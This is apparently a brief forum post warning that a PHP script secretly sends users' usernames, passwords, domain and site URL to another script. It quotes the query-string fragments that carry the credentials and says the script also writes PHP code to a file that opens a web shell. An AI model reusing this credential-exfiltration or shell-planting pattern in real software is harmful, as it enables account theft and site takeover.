What this is doing is sending your pass and username to another script

lol this is what hackers use to get your ps

PHP Code: 
"$s[cs]&u=$a[p_user]&p=$a[p_pass]&d=$a[p_domain]&url=$a[site_url]" 
sends to there script

PHP Code: 
"?u=USER&p=PASS&d=DOMAIN&url=SCRIPT_URL" 
and also looks like its writing external php commands to a file where he can exploit your site with a shell!